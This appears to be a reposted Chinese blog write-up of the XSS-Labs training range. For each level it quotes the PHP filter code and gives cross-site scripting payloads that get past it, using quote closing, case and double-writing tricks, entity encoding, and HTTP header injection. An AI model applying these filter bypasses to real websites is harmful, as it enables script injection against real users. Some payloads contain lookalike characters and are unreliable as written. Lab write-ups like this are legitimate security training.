XSS-Labs合集

目录

Level 1

Level 2

Level 3

Level 4

Level 5

Level 6

Level 7

Level 8

Level 9

Level 10

扫描二维码关注公众号,回复: 12064931 查看本文章

Level 11

Level 12

Level 13

Level 16

Level 17

Level 18


测试:<script " ' OOnn>

Level 1

没有任何防护措施

payload

<script>alert(1)</script>

Level 2

闭合双引号和标签

payload

"><script>alert(1)</script>//

"><img src="#" οnerrοr=alert(/xss/)>

Level 3

输入测试 <script/>"'alert(1)

查看源码发现 " < > 发生变化

&lt;script/&gt;&quot;'alert(1)

payload

'οnmοuseοver='alert(1)'

Level 4

输入测试 </script>'":()

查看源码发现 < > 被过滤

/script'":()

payload

" οnmοuseοver="alert(/xss/)

Level 5

过滤了on开头的标签,script,使用其他标签绕过

payload

"><a href="javascript:alert(/xss/)">click me!</a>

Level 6

分析源码

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

发现将常用的标签都过滤了,但是他没进行大小写转换,href大写绕过

payload

" Onmouseover="alert(/xss/)

"><a hREf="javascript:alert(/xss/)">click me!</a>

 

Level 7

分析源码

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

这里使用了小写转换,无法使用大写绕过,由于只是将字符删除,可以尝试使用双写绕过

payload

"><A hRhrefEF="javascrscriptipt:alert(/XSS/)">click me !</a>

"><scriscriptpt>alert(1)</scrscriptipt>

" oONnmouseover="alert(/xss/)

Level 8

分析源码

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

这里的过滤更加严格,尝试使用编码绕过

payload

javasc&#82;ipt:alert(/xss/)

Level 9

和第八关的区别在与加了一条判断

if(false===strpos($str7,'http://'))

{

  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

 }

在alert()里面加上即可

payload

javasc&#82;ipt:alert('http://xss')

 

Level 10

分析源码

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

<input name="t_sort"  value="'.$str33.'" type="hidden">

这里直接提交t_sort参数即可,由于没有输入框,这里我们自己构造按钮,触发事件

payload

?t_sort=click me!" type="button" οnclick="alert(/xss/)

Level 11

分析源码

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

这里接受的是referer字段的传递的值,在第十关使用bp抓包,修改referer字段即可

payload

Referer: click me!" type="button" οnclick="alert(/xss/)

 

Level 12

分析源码

$str11=$_SERVER['HTTP_USER_AGENT'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

和上一关类似,只是变为了USER_AGENT字段

payload

User-Agent: click me!" type="button" οnclick="alert(/xss/)

Level 13

分析源码

$str11=$_COOKIE["user"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

和上一关类似,只是变为了cookie的user字段

payload

Cookie: user=click me!" type="button" οnclick="alert(/xss/)

Level 16

分析源码

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","&nbsp;",$str);

$str3=str_replace(" ","&nbsp;",$str2);

$str4=str_replace("/","&nbsp;",$str3);

$str5=str_replace("        ","&nbsp;",$str4);

这里过滤了空格,使用%0D编码绕过

payload

?keyword=<img%0Dsrc=1%0Dοnerrοr=alert()>

 

Level 17

分析源码

<embed src=xsf01.swf?a=b width=100% heigth=100%>

发现传入的两个参数都传入事件,进行攻击

payload

?arg01=a&arg02=b οnmοusedοwn=alert(1)

?arg01=a οnmοusedοwn=alert(1)&arg02=b

Level 18

和17关类似

payload

?arg01=a&arg02=b οnmοusedοwn=alert(1)

?arg01=a οnmοusedοwn=alert(1)&arg02=b

 

后面的两关涉及到反编译的内容,笔者。。

 

猜你喜欢

转载自blog.csdn.net/weixin_43252204/article/details/107752595